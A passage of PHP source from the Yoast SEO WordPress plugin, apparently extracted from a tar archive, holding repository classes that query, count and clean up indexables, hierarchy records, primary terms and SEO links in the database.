we've set ancestors on the indexable because we had to build them to find them. if ( \is_array( $indexable->ancestors ) && ! empty( $indexable->ancestors ) ) { return \array_map( [ $this, 'upgrade_indexable' ], $indexable->ancestors ); } if ( empty( $indexable_ids ) ) { return []; } if ( $indexable_ids[0] === 0 && \count( $indexable_ids ) === 1 ) { return []; } $indexables = $this->query() ->where_in( 'id', $indexable_ids ) ->order_by_expr( 'FIELD(id,' . \implode( ',', $indexable_ids ) . ')' ) ->find_many(); return \array_map( [ $this, 'upgrade_indexable' ], $indexables ); } /** * Returns all subpages with a given post_parent. * * @param int $post_parent The post parent. * @param array $exclude_ids The id's to exclude. * * @return Indexable[] array of indexables. */ public function get_subpages_by_post_parent( $post_parent, $exclude_ids = [] ) { $query = $this->query() ->where( 'post_parent', $post_parent ) ->where( 'object_type', 'post' ) ->where( 'post_status', 'publish' ); if ( ! empty( $exclude_ids ) ) { $query->where_not_in( 'object_id', $exclude_ids ); } return $query->find_many(); } /** * Returns most recently modified posts of a post type. * * @param string $post_type The post type. * @param int $limit The maximum number of posts to return. * @param bool $exclude_older_than_one_year Whether to exclude posts older than one year. * @param string $search_filter Optional. A search filter to apply to the breadcrumb title. * * @return Indexable[] array of indexables. */ public function get_recently_modified_posts( string $post_type, int $limit, bool $exclude_older_than_one_year, string $search_filter = '' ) { $query = $this->query() ->where( 'object_type', 'post' ) ->where( 'object_sub_type', $post_type ) ->where_raw( '( is_public IS NULL OR is_public = 1 )' ) ->order_by_desc( 'object_last_modified' ) ->limit( $limit ); if ( $exclude_older_than_one_year === true ) { $query->where_gte( 'object_published_at', \gmdate( 'Y-m-d H:i:s', \strtotime( '-1 year' ) ) ); } if ( $search_filter !== '' ) { $query->where_like( 'breadcrumb_title', '%' . $search_filter . '%' ); } $query->order_by_desc( 'object_last_modified' ) ->limit( $limit ); return $query->find_many(); } /** * Returns the most recently modified cornerstone content of a post type. * * @param string $post_type The post type. * @param int|null $limit The maximum number of posts to return. * * @return Indexable[] array of indexables. */ public function get_recent_cornerstone_for_post_type( string $post_type, ?int $limit ) { $query = $this->query() ->where( 'object_type', 'post' ) ->where( 'object_sub_type', $post_type ) ->where_raw( '( is_public IS NULL OR is_public = 1 )' ) ->where( 'is_cornerstone', 1 ) ->order_by_desc( 'object_last_modified' ); if ( $limit !== null ) { $query->limit( $limit ); } return $query->find_many(); } /** * Updates the incoming link count for an indexable without first fetching it. * * @param int $indexable_id The indexable id. * @param int $count The incoming link count. * * @return bool Whether or not the update was succeful. */ public function update_incoming_link_count( $indexable_id, $count ) { return (bool) $this->query() ->set( 'incoming_link_count', $count ) ->where( 'id', $indexable_id ) ->update_many(); } /** * Ensures that the given indexable has a permalink. * * Will be deprecated in 17.3 - Use upgrade_indexable instead. * * @codeCoverageIgnore * * @param Indexable $indexable The indexable. * * @return bool|Indexable The indexable. */ public function ensure_permalink( $indexable ) { // @phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- self::class is safe. // @phpcs:ignore Squiz.PHP.CommentedOutCode.Found // _deprecated_function( __METHOD__, 'Yoast SEO 17.3', self::class . '::upgrade_indexable' ); return $this->upgrade_indexable( $indexable ); } /** * Checks if an Indexable is outdated, and rebuilds it when necessary. * * @param Indexable $indexable The indexable. * * @return Indexable The indexable. */ public function upgrade_indexable( $indexable ) { if ( $this->version_manager->indexable_needs_upgrade( $indexable ) ) { $indexable = $this->builder->build( $indexable ); } return $indexable; } /** * Resets the permalinks of the passed object type and subtype. * * @param string|null $type The type of the indexable. Can be null. * @param string|null $subtype The subtype. Can be null. * @param int|null $object_id The object ID. Can be null. * * @return int|bool The number of permalinks changed if the query was succesful. False otherwise. */ public function reset_permalink( $type = null, $subtype = null, $object_id = null ) { $query = $this->query()->set( [ 'permalink' => null, 'permalink_hash' => null, 'version' => 0, ], ); if ( $type !== null ) { $query->where( 'object_type', $type ); } if ( $type !== null && $subtype !== null ) { $query->where( 'object_sub_type', $subtype ); } if ( $object_id !== null ) { $query->where( 'object_id', $object_id ); } return $query->update_many(); } /** * Gets the total number of stored indexables. * * @return int The total number of stored indexables. */ public function get_total_number_of_indexables() { return $this->query()->count(); } } repositories/indexable-cleanup-repository.php000064400000066335152076254310015623 0ustar00taxonomy = $taxonomy; $this->post_type = $post_type; $this->author_archive = $author_archive; } /** * Starts a query for this repository. * * @return ORM */ public function query() { return Model::of_type( 'Indexable' ); } /** * Deletes rows from the indexable table depending on the object_type and object_sub_type. * * @param string $object_type The object type to query. * @param string $object_sub_type The object subtype to query. * @param int $limit The limit we'll apply to the delete query. * * @return int|bool The number of rows that was deleted or false if the query failed. */ public function clean_indexables_with_object_type_and_object_sub_type( string $object_type, string $object_sub_type, int $limit ) { global $wpdb; $indexable_table = Model::get_table_name( 'Indexable' ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input. $sql = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = %s AND object_sub_type = %s ORDER BY id LIMIT %d", $object_type, $object_sub_type, $limit ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared. return $wpdb->query( $sql ); } /** * Counts amount of indexables by object type and object sub type. * * @param string $object_type The object type to check. * @param string $object_sub_type The object sub type to check. * * @return float|int */ public function count_indexables_with_object_type_and_object_sub_type( string $object_type, string $object_sub_type ) { return $this ->query() ->where( 'object_type', $object_type ) ->where( 'object_sub_type', $object_sub_type ) ->count(); } /** * Deletes rows from the indexable table depending on the post_status. * * @param string $post_status The post status to query. * @param int $limit The limit we'll apply to the delete query. * * @return int|bool The number of rows that was deleted or false if the query failed. */ public function clean_indexables_with_post_status( $post_status, $limit ) { global $wpdb; $indexable_table = Model::get_table_name( 'Indexable' ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input. $sql = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = 'post' AND post_status = %s ORDER BY id LIMIT %d", $post_status, $limit ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared. return $wpdb->query( $sql ); } /** * Counts indexables with a certain post status. * * @param string $post_status The post status to count. * * @return float|int */ public function count_indexables_with_post_status( string $post_status ) { return $this ->query() ->where( 'object_type', 'post' ) ->where( 'post_status', $post_status ) ->count(); } /** * Cleans up any indexables that belong to post types that are not/no longer publicly viewable. * * @param int $limit The limit we'll apply to the queries. * * @return bool|int The number of deleted rows, false if the query fails. */ public function clean_indexables_for_non_publicly_viewable_post( $limit ) { global $wpdb; $indexable_table = Model::get_table_name( 'Indexable' ); $included_post_types = $this->post_type->get_indexable_post_types(); // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix. if ( empty( $included_post_types ) ) { $delete_query = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = 'post' AND object_sub_type IS NOT NULL LIMIT %d", $limit, ); } else { // phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead. $delete_query = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = 'post' AND object_sub_type IS NOT NULL AND object_sub_type NOT IN ( " . \implode( ', ', \array_fill( 0, \count( $included_post_types ), '%s' ) ) . ' ) LIMIT %d', \array_merge( $included_post_types, [ $limit ] ), ); } // phpcs:enable // phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches. // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way. // phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already. return $wpdb->query( $delete_query ); // phpcs:enable } /** * Counts all indexables for non public post types. * * @return float|int */ public function count_indexables_for_non_publicly_viewable_post() { $included_post_types = $this->post_type->get_indexable_post_types(); if ( empty( $included_post_types ) ) { return $this ->query() ->where( 'object_type', 'post' ) ->where_not_equal( 'object_sub_type', 'null' ) ->count(); } else { return $this ->query() ->where( 'object_type', 'post' ) ->where_not_equal( 'object_sub_type', 'null' ) ->where_not_in( 'object_sub_type', $included_post_types ) ->count(); } } /** * Cleans up any indexables that belong to taxonomies that are not/no longer publicly viewable. * * @param int $limit The limit we'll apply to the queries. * * @return bool|int The number of deleted rows, false if the query fails. */ public function clean_indexables_for_non_publicly_viewable_taxonomies( $limit ) { global $wpdb; $indexable_table = Model::get_table_name( 'Indexable' ); $included_taxonomies = $this->taxonomy->get_indexable_taxonomies(); // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix. if ( empty( $included_taxonomies ) ) { $delete_query = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = 'term' AND object_sub_type IS NOT NULL LIMIT %d", $limit, ); } else { // phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead. $delete_query = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = 'term' AND object_sub_type IS NOT NULL AND object_sub_type NOT IN ( " . \implode( ', ', \array_fill( 0, \count( $included_taxonomies ), '%s' ) ) . ' ) LIMIT %d', \array_merge( $included_taxonomies, [ $limit ] ), ); } // phpcs:enable // phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches. // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way. // phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already. return $wpdb->query( $delete_query ); // phpcs:enable } /** * Cleans up any indexables that belong to post type archive page that are not/no longer publicly viewable. * * @param int $limit The limit we'll apply to the queries. * * @return bool|int The number of deleted rows, false if the query fails. */ public function clean_indexables_for_non_publicly_viewable_post_type_archive_pages( $limit ) { global $wpdb; $indexable_table = Model::get_table_name( 'Indexable' ); $included_post_types = $this->post_type->get_indexable_post_archives(); $post_archives = []; foreach ( $included_post_types as $post_type ) { $post_archives[] = $post_type->name; } // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix. if ( empty( $post_archives ) ) { $delete_query = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = 'post-type-archive' AND object_sub_type IS NOT NULL LIMIT %d", $limit, ); } else { // phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead. $delete_query = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = 'post-type-archive' AND object_sub_type IS NOT NULL AND object_sub_type NOT IN ( " . \implode( ', ', \array_fill( 0, \count( $post_archives ), '%s' ) ) . ' ) LIMIT %d', \array_merge( $post_archives, [ $limit ] ), ); } // phpcs:enable // phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches. // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way. // phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already. return $wpdb->query( $delete_query ); // phpcs:enable } /** * Counts indexables for non publicly viewable taxonomies. * * @return float|int */ public function count_indexables_for_non_publicly_viewable_taxonomies() { $included_taxonomies = $this->taxonomy->get_indexable_taxonomies(); if ( empty( $included_taxonomies ) ) { return $this ->query() ->where( 'object_type', 'term' ) ->where_not_equal( 'object_sub_type', 'null' ) ->count(); } else { return $this ->query() ->where( 'object_type', 'term' ) ->where_not_equal( 'object_sub_type', 'null' ) ->where_not_in( 'object_sub_type', $included_taxonomies ) ->count(); } } /** * Counts indexables for non publicly viewable taxonomies. * * @return float|int */ public function count_indexables_for_non_publicly_post_type_archive_pages() { $included_post_types = $this->post_type->get_indexable_post_archives(); $post_archives = []; foreach ( $included_post_types as $post_type ) { $post_archives[] = $post_type->name; } if ( empty( $post_archives ) ) { return $this ->query() ->where( 'object_type', 'post-type-archive' ) ->where_not_equal( 'object_sub_type', 'null' ) ->count(); } return $this ->query() ->where( 'object_type', 'post-type-archive' ) ->where_not_equal( 'object_sub_type', 'null' ) ->where_not_in( 'object_sub_type', $post_archives ) ->count(); } /** * Cleans up any user indexables when the author archives have been disabled. * * @param int $limit The limit we'll apply to the queries. * * @return bool|int The number of deleted rows, false if the query fails. */ public function clean_indexables_for_authors_archive_disabled( $limit ) { global $wpdb; if ( ! $this->author_archive->are_disabled() ) { return 0; } $indexable_table = Model::get_table_name( 'Indexable' ); // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix. $delete_query = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = 'user' LIMIT %d", $limit ); // phpcs:enable // phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches. // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way. // phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already. return $wpdb->query( $delete_query ); // phpcs:enable } /** * Counts the amount of author archive indexables if they are not disabled. * * @return float|int */ public function count_indexables_for_authors_archive_disabled() { if ( ! $this->author_archive->are_disabled() ) { return 0; } return $this ->query() ->where( 'object_type', 'user' ) ->count(); } /** * Cleans up any indexables that belong to users that have their author archives disabled. * * @param int $limit The limit we'll apply to the queries. * * @return bool|int The number of deleted rows, false if the query fails. */ public function clean_indexables_for_authors_without_archive( $limit ) { global $wpdb; $indexable_table = Model::get_table_name( 'Indexable' ); $author_archive_post_types = $this->author_archive->get_author_archive_post_types(); $viewable_post_stati = \array_filter( \get_post_stati(), 'is_post_status_viewable' ); // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix. // phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead. $delete_query = $wpdb->prepare( "DELETE FROM $indexable_table WHERE object_type = 'user' AND object_id NOT IN ( SELECT DISTINCT post_author FROM $wpdb->posts WHERE post_type IN ( " . \implode( ', ', \array_fill( 0, \count( $author_archive_post_types ), '%s' ) ) . ' ) AND post_status IN ( ' . \implode( ', ', \array_fill( 0, \count( $viewable_post_stati ), '%s' ) ) . ' ) ) LIMIT %d', \array_merge( $author_archive_post_types, $viewable_post_stati, [ $limit ] ), ); // phpcs:enable // phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches. // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way. // phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already. return $wpdb->query( $delete_query ); // phpcs:enable } /** * Counts total amount of indexables for authors without archives. * * @return bool|int|mysqli_result|resource|null */ public function count_indexables_for_authors_without_archive() { global $wpdb; $indexable_table = Model::get_table_name( 'Indexable' ); $author_archive_post_types = $this->author_archive->get_author_archive_post_types(); $viewable_post_stati = \array_filter( \get_post_stati(), 'is_post_status_viewable' ); // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix. // phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead. $count_query = $wpdb->prepare( "SELECT count(*) FROM $indexable_table WHERE object_type = 'user' AND object_id NOT IN ( SELECT DISTINCT post_author FROM $wpdb->posts WHERE post_type IN ( " . \implode( ', ', \array_fill( 0, \count( $author_archive_post_types ), '%s' ) ) . ' ) AND post_status IN ( ' . \implode( ', ', \array_fill( 0, \count( $viewable_post_stati ), '%s' ) ) . ' ) )', \array_merge( $author_archive_post_types, $viewable_post_stati ), ); // phpcs:enable // phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches. // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way. // phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already. return $wpdb->get_col( $count_query )[0]; // phpcs:enable } /** * Deletes rows from the indexable table where the source is no longer there. * * @param string $source_table The source table which we need to check the indexables against. * @param string $source_identifier The identifier which the indexables are matched to. * @param string $object_type The indexable object type. * @param int $limit The limit we'll apply to the delete query. * * @return int|bool The number of rows that was deleted or false if the query failed. */ public function clean_indexables_for_object_type_and_source_table( $source_table, $source_identifier, $object_type, $limit ) { global $wpdb; $indexable_table = Model::get_table_name( 'Indexable' ); $source_table = $wpdb->prefix . $source_table; // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input. $query = $wpdb->prepare( " SELECT indexable_table.object_id FROM {$indexable_table} indexable_table LEFT JOIN {$source_table} AS source_table ON indexable_table.object_id = source_table.{$source_identifier} WHERE source_table.{$source_identifier} IS NULL AND indexable_table.object_id IS NOT NULL AND indexable_table.object_type = '{$object_type}' LIMIT %d", $limit, ); // phpcs:enable // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared. $orphans = $wpdb->get_col( $query ); if ( empty( $orphans ) ) { return 0; } // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared. return $wpdb->query( "DELETE FROM $indexable_table WHERE object_type = '{$object_type}' AND object_id IN( " . \implode( ',', $orphans ) . ' )' ); } /** * Deletes rows from the indexable table where the source is no longer there. * * @param int $limit The limit we'll apply to the delete query. * * @return int|bool The number of rows that was deleted or false if the query failed. */ public function clean_indexables_for_orphaned_users( $limit ) { global $wpdb; $indexable_table = Model::get_table_name( 'Indexable' ); $source_table = $wpdb->users; // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input. $query = $wpdb->prepare( " SELECT indexable_table.object_id FROM {$indexable_table} indexable_table LEFT JOIN {$source_table} AS source_table ON indexable_table.object_id = source_table.ID WHERE source_table.ID IS NULL AND indexable_table.object_id IS NOT NULL AND indexable_table.object_type = 'user' LIMIT %d", $limit, ); // phpcs:enable // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared. $orphans = $wpdb->get_col( $query ); if ( empty( $orphans ) ) { return 0; } // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared. return $wpdb->query( "DELETE FROM $indexable_table WHERE object_type = 'user' AND object_id IN( " . \implode( ',', $orphans ) . ' )' ); } /** * Counts indexables for given source table + source identifier + object type. * * @param string $source_table The source table. * @param string $source_identifier The source identifier. * @param string $object_type The object type. * * @return mixed */ public function count_indexables_for_object_type_and_source_table( string $source_table, string $source_identifier, string $object_type ) { global $wpdb; $indexable_table = Model::get_table_name( 'Indexable' ); $source_table = $wpdb->prefix . $source_table; // phpcs:disable WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared. return $wpdb->get_col( " SELECT count(*) FROM {$indexable_table} indexable_table LEFT JOIN {$source_table} AS source_table ON indexable_table.object_id = source_table.{$source_identifier} WHERE source_table.{$source_identifier} IS NULL AND indexable_table.object_id IS NOT NULL AND indexable_table.object_type = '{$object_type}'", )[0]; // phpcs:enable } /** * Counts indexables for orphaned users. * * @return mixed */ public function count_indexables_for_orphaned_users() { global $wpdb; $indexable_table = Model::get_table_name( 'Indexable' ); $source_table = $wpdb->users; //phpcs:disable WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared. return $wpdb->get_col( " SELECT count(*) FROM {$indexable_table} indexable_table LEFT JOIN {$source_table} AS source_table ON indexable_table.object_id = source_table.ID WHERE source_table.ID IS NULL AND indexable_table.object_id IS NOT NULL AND indexable_table.object_type = 'user'", )[0]; // phpcs:enable } /** * Cleans orphaned rows from a yoast table. * * @param string $table The table to clean up. * @param string $column The table column the cleanup will rely on. * @param int $limit The limit we'll apply to the queries. * * @return int|bool The number of deleted rows, false if the query fails. */ public function cleanup_orphaned_from_table( $table, $column, $limit ) { global $wpdb; $table = Model::get_table_name( $table ); $indexable_table = Model::get_table_name( 'Indexable' ); // Warning: If this query is changed, make sure to update the query in cleanup_orphaned_from_table in Premium as well. // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input. $query = $wpdb->prepare( " SELECT table_to_clean.{$column} FROM {$table} table_to_clean LEFT JOIN {$indexable_table} AS indexable_table ON table_to_clean.{$column} = indexable_table.id WHERE indexable_table.id IS NULL AND table_to_clean.{$column} IS NOT NULL LIMIT %d", $limit, ); // phpcs:enable // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared. $orphans = $wpdb->get_col( $query ); if ( empty( $orphans ) ) { return 0; } // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared. return $wpdb->query( "DELETE FROM $table WHERE {$column} IN( " . \implode( ',', $orphans ) . ' )' ); } /** * Counts orphaned rows from a yoast table. * * @param string $table The table to clean up. * @param string $column The table column the cleanup will rely on. * * @return int|bool The number of deleted rows, false if the query fails. */ public function count_orphaned_from_table( string $table, string $column ) { global $wpdb; $table = Model::get_table_name( $table ); $indexable_table = Model::get_table_name( 'Indexable' ); // Warning: If this query is changed, make sure to update the query in cleanup_orphaned_from_table in Premium as well. // phpcs:disable WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared. return $wpdb->get_col( " SELECT count(*) FROM {$table} table_to_clean LEFT JOIN {$indexable_table} AS indexable_table ON table_to_clean.{$column} = indexable_table.id WHERE indexable_table.id IS NULL AND table_to_clean.{$column} IS NOT NULL", )[0]; // phpcs:enable } /** * Updates the author_id of indexables which author_id is not in the wp_users table with the id of the reassingned * user. * * @param int $limit The limit we'll apply to the queries. * * @return int|bool The number of updated rows, false if query to get data fails. */ public function update_indexables_author_to_reassigned( $limit ) { // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared. $reassigned_authors_objs = $this->get_reassigned_authors( $limit ); if ( $reassigned_authors_objs === false ) { return false; } return $this->update_indexable_authors( $reassigned_authors_objs, $limit ); } /** * Fetches pairs of old_id -> new_id indexed by old_id. * By using the old_id (i.e. the id of the user that has been deleted) as key of the associative array, we can * easily compose an array of unique pairs of old_id -> new_id. * * @param int $limit The limit we'll apply to the queries. * * @return int|bool The associative array with shape [ old_id => [ old_id, new_author ] ] or false if query to get * data fails. */ private function get_reassigned_authors( $limit ) { global $wpdb; $indexable_table = Model::get_table_name( 'Indexable' ); $posts_table = $wpdb->posts; // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input. $query = $wpdb->prepare( " SELECT {$indexable_table}.author_id, {$posts_table}.post_author FROM {$indexable_table} JOIN {$posts_table} on {$indexable_table}.object_id = {$posts_table}.id WHERE object_type='post' AND {$indexable_table}.author_id <> {$posts_table}.post_author GROUP BY {$indexable_table}.author_id, {$posts_table}.post_author ORDER BY {$indexable_table}.author_id LIMIT %d", $limit, ); // phpcs:enable // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared. return $wpdb->get_results( $query, \OBJECT_K ); } /** * Updates the indexable's author_id referring to a deleted author with the id of the reassigned user. * * @param array $reassigned_authors_objs The array of objects with shape [ old_id => [ old_id, new_id ] ]. * @param int $limit The limit we'll apply to the queries. * * @return int|bool The associative array with shape [ old_id => [ old_id, new_author ] ] or false if query to get * data fails. */ private function update_indexable_authors( $reassigned_authors_objs, $limit ) { global $wpdb; $indexable_table = Model::get_table_name( 'Indexable' ); // This is a workaround for the fact that the array_column function does not work on objects in PHP 5.6. $reassigned_authors_array = \array_map( static function ( $obj ) { return (array) $obj; }, $reassigned_authors_objs, ); $reassigned_authors = \array_combine( \array_column( $reassigned_authors_array, 'author_id' ), \array_column( $reassigned_authors_array, 'post_author' ) ); foreach ( $reassigned_authors as $old_author_id => $new_author_id ) { // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input. $query = $wpdb->prepare( " UPDATE {$indexable_table} SET {$indexable_table}.author_id = {$new_author_id} WHERE {$indexable_table}.author_id = {$old_author_id} AND object_type='post' LIMIT %d", $limit, ); // phpcs:enable // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared. $wpdb->query( $query ); } return \count( $reassigned_authors ); } } repositories/primary-term-repository.php000064400000002236152076254310014661 0ustar00query() ->where( 'post_id', $post_id ) ->where( 'taxonomy', $taxonomy ) ->find_one(); if ( $auto_create && ! $primary_term_indexable ) { $primary_term_indexable = $this->query()->create(); } return $primary_term_indexable; } } repositories/indexable-hierarchy-repository.php000064400000007623152076254310016145 0ustar00builder = $builder; } /** * Sets the indexable helper. * * @required * * @param Indexable_Helper $indexable_helper The indexable helper. * * @return void */ public function set_helper( Indexable_Helper $indexable_helper ) { $this->indexable_helper = $indexable_helper; } /** * Removes all ancestors for an indexable. * * @param int $indexable_id The indexable id. * * @return bool Whether or not the indexables were successfully deleted. */ public function clear_ancestors( $indexable_id ) { return $this->query()->where( 'indexable_id', $indexable_id )->delete_many(); } /** * Adds an ancestor to an indexable. * * @param int $indexable_id The indexable id. * @param int $ancestor_id The ancestor id. * @param int $depth The depth. * * @return bool Whether or not the ancestor was added successfully. */ public function add_ancestor( $indexable_id, $ancestor_id, $depth ) { if ( ! $this->indexable_helper->should_index_indexables() ) { return false; } $hierarchy = $this->query()->create( [ 'indexable_id' => $indexable_id, 'ancestor_id' => $ancestor_id, 'depth' => $depth, 'blog_id' => \get_current_blog_id(), ], ); return $hierarchy->save(); } /** * Retrieves the ancestors. Create them when empty. * * @param Indexable $indexable The indexable to get the ancestors for. * * @return int[] The indexable id's of the ancestors in order of grandparent to child. */ public function find_ancestors( Indexable $indexable ) { $ancestors = $this->query() ->select( 'ancestor_id' ) ->where( 'indexable_id', $indexable->id ) ->order_by_desc( 'depth' ) ->find_array(); if ( ! empty( $ancestors ) ) { if ( \count( $ancestors ) === 1 && $ancestors[0]['ancestor_id'] === '0' ) { return []; } return \wp_list_pluck( $ancestors, 'ancestor_id' ); } $indexable = $this->builder->build( $indexable ); return \wp_list_pluck( $indexable->ancestors, 'id' ); } /** * Finds the children for a given indexable. * * @param Indexable $indexable The indexable to find the children for. * * @return array Array with indexable id's for the children. */ public function find_children( Indexable $indexable ) { $children = $this->query() ->select( 'indexable_id' ) ->where( 'ancestor_id', $indexable->id ) ->find_array(); if ( empty( $children ) ) { return []; } return \wp_list_pluck( $children, 'indexable_id' ); } /** * Starts a query for this repository. * * @return ORM */ public function query() { return Model::of_type( 'Indexable_Hierarchy' ); } /** * Finds all the children by given ancestor id's. * * @param array $object_ids List of id's to get the children for. * * @return array List of indexable id's for the children. */ public function find_children_by_ancestor_ids( array $object_ids ) { if ( empty( $object_ids ) ) { return []; } $children = $this->query() ->select( 'indexable_id' ) ->where_in( 'ancestor_id', $object_ids ) ->find_array(); if ( empty( $children ) ) { return []; } return \wp_list_pluck( $children, 'indexable_id' ); } } repositories/seo-links-repository.php000064400000012640152076254320014136 0ustar00query() ->where( 'post_id', $post_id ) ->find_many(); } /** * Finds all SEO Links by indexable ID. * * @param int $indexable_id The indexable ID. * * @return SEO_Links[] The SEO Links. */ public function find_all_by_indexable_id( $indexable_id ) { return $this->query() ->where( 'indexable_id', $indexable_id ) ->find_many(); } /** * Retrieves an SEO Link by url. * * @param string $url The SEO Link's url. * * @return SEO_Links|false The SEO Link, or false if none found. */ public function find_one_by_url( $url ) { return $this->query() ->select( 'target_post_id' ) ->where( 'url', $url ) ->find_one(); } /** * Retrieves all SEO Links by target post ID. * * @param string $target_post_id The SEO Link's target post ID. * * @return SEO_Links[] The SEO Links. */ public function find_all_by_target_post_id( $target_post_id ) { return $this->query() ->where( 'target_post_id', $target_post_id ) ->find_many(); } /** * Updates the ID of the target indexable of a link. * * @param int $link_id The ID of the link to be updated. * @param int $target_indexable_id The ID of the target indexable. * * @return bool Whether or not the update was succeful. */ public function update_target_indexable_id( $link_id, $target_indexable_id ) { return (bool) $this->query() ->set( 'target_indexable_id', $target_indexable_id ) ->where( 'id', $link_id ) ->update_many(); } /** * Clears 